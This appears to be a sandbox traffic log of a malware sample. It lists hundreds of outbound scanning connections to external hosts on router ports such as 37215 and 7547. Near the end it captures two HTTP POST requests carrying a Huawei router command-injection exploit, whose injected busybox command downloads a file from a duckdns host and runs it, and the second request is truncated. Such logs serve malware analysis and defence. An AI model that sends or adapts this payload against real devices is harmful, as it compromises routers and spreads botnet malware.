Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.184.244.20:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.87.234.95:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.48.29.214:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 188.209.118.177:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.46.63.173:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.95.112.210:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.128.26.83:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 198.207.226.89:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.12.216.215:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.67.30.127:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.34.231.200:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.71.243.27:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.238.18.104:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.212.242.171:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 155.199.8.39:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.96.145.237:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.38.105.111:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.12.119.75:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.6.94.43:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.240.85.3:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.108.141.200:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.109.4.239:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.57.124.67:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.207.98.158:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.127.103.237:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.4.247.146:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.136.231.31:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 168.62.228.217:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.12.31.248:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 71.8.26.245:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 112.115.132.106:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 116.194.226.233:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.94.243.214:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.29.94.201:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.147.153.222:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.185.1.96:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.59.225.23:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 103.82.66.181:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 171.2.41.137:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.117.66.44:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 171.91.185.197:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 223.98.180.164:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.45.170.42:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.109.38.105:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 146.11.2.113:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.63.36.111:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.109.231.137:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.214.190.182:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 88.254.196.150:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.189.114.30:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.238.99.50:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 99.199.166.220:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.128.244.241:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.7.150.71:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 195.207.42.197:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.44.31.156:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.205.42.42:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 23.51.7.118:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 201.176.224.27:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.162.74.49:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.131.179.145:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.73.152.192:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 212.187.233.254:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 150.241.18.163:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.31.2.233:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.142.209.72:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.124.141.99:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.25.111.217:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.15.16.202:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.82.204.14:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.157.1.88:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.11.183.152:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.153.4.141:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 170.127.202.188:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 108.93.50.203:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.182.184.152:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 19.207.12.192:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.247.80.200:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.87.251.32:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.244.253.117:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.158.148.21:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.228.242.178:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 41.233.113.116:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 164.242.109.22:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 157.80.14.162:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.135.205.109:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 170.62.253.153:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:45708 -> 197.169.180.38:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.188.33.140:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.21.233.140:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.208.48.73:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.92.94.5:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.205.223.205:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.174.24.232:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.205.185.142:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.72.42.14:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.85.214.172:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.11.152.88:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.164.233.150:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.70.155.179:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.244.208.79:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.231.164.39:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.151.20.120:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.100.53.29:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.219.22.1:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.97.43.228:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.226.199.174:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.69.16.15:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.224.97.112:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.49.3.13:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.30.171.136:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.48.210.172:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.209.255.4:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.125.32.192:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.216.93.73:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.229.24.20:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.59.7.187:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.0.46.55:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.137.83.99:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.38.54.145:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.178.70.207:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.31.7.202:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.13.92.59:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.224.128.59:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.163.209.189:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.208.136.10:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.226.43.172:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.51.249.107:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.161.178.130:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.230.125.247:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.11.254.114:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.108.193.198:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.53.43.165:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.205.138.35:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.73.134.153:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.226.132.59:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.184.110.52:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.94.69.253:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.99.2.75:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.56.3.50:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.250.119.205:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.109.170.61:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.189.208.172:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.230.171.240:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.88.245.243:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.56.85.24:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.113.22.155:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.48.118.150:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.19.136.132:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.82.182.20:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.109.8.148:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.167.114.5:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.81.10.84:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.244.238.211:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.112.222.167:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.119.109.226:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.205.242.222:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.0.120.4:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.181.14.9:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.82.224.126:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.188.87.156:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.127.182.130:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.196.125.12:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.35.64.6:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.196.119.158:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.216.188.103:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.128.175.85:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.237.245.162:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.15.53.51:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.191.97.115:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.233.217.81:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.91.126.253:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.95.27.225:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.69.141.178:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.242.31.99:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.63.33.17:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.232.253.217:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.243.124.207:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.88.194.209:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.243.178.241:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.82.221.171:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.4.63.246:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.244.77.42:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.212.158.59:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.186.226.39:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.235.152.176:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.17.24.177:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.194.210.193:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.108.226.199:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.25.114.52:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.125.208.120:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.68.223.185:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.224.181.255:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.72.63.183:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.94.242.103:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.210.198.199:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.199.193.135:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.80.223.93:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.191.183.16:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.206.87.245:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.44.64.193:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.213.247.167:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.119.70.30:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.144.36.1:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.46.251.234:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.96.94.193:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.26.48.68:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.179.29.115:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.0.77.133:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.132.0.211:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.92.214.22:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.53.50.118:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.40.110.156:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.5.182.232:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.162.249.238:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.67.120.202:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.212.60.61:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.113.156.109:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.116.228.45:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.148.122.76:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.40.236.173:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.77.66.235:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.58.55.159:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.147.184.23:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.15.226.210:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.119.7.163:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.191.243.177:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.90.34.202:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.136.39.211:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.213.55.107:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.247.27.105:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.115.141.198:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.41.151.106:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.31.31.241:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.52.173.198:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.145.20.131:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.18.200.3:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.78.210.103:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.77.43.230:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.61.131.26:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.18.244.184:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.160.36.194:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.94.169.148:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.146.240.251:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.219.75.42:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.187.10.236:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.243.37.56:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.155.61.175:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.26.94.223:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.203.76.43:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 60.164.33.140:7547 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.194.28.64:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.142.214.2:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 158.200.240.73:60001 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.50.219.18:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.224.176.171:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.1.104.109:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.140.150.102:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.92.241.152:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 72.17.229.202:7547 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 170.11.25.203:60001 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.118.46.127:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.96.216.18:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 76.56.42.58:7547 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 83.2.35.217:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 41.34.221.130:60001 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.60.52.250:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.16.21.217:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 116.159.104.155:60001 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 197.18.86.153:60001 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.195.41.72:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 73.161.186.8:60001 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.180.55.221:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 165.49.181.195:7547 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 41.123.62.224:60001 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 110.20.23.93:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.228.78.218:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.92.59.145:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 13.35.86.7:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46476 -> 196.142.255.12:37215 |
Source: global traffic | TCP traffic: 192.168.2.23:46732 -> 44.41.22.208:7547 |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope 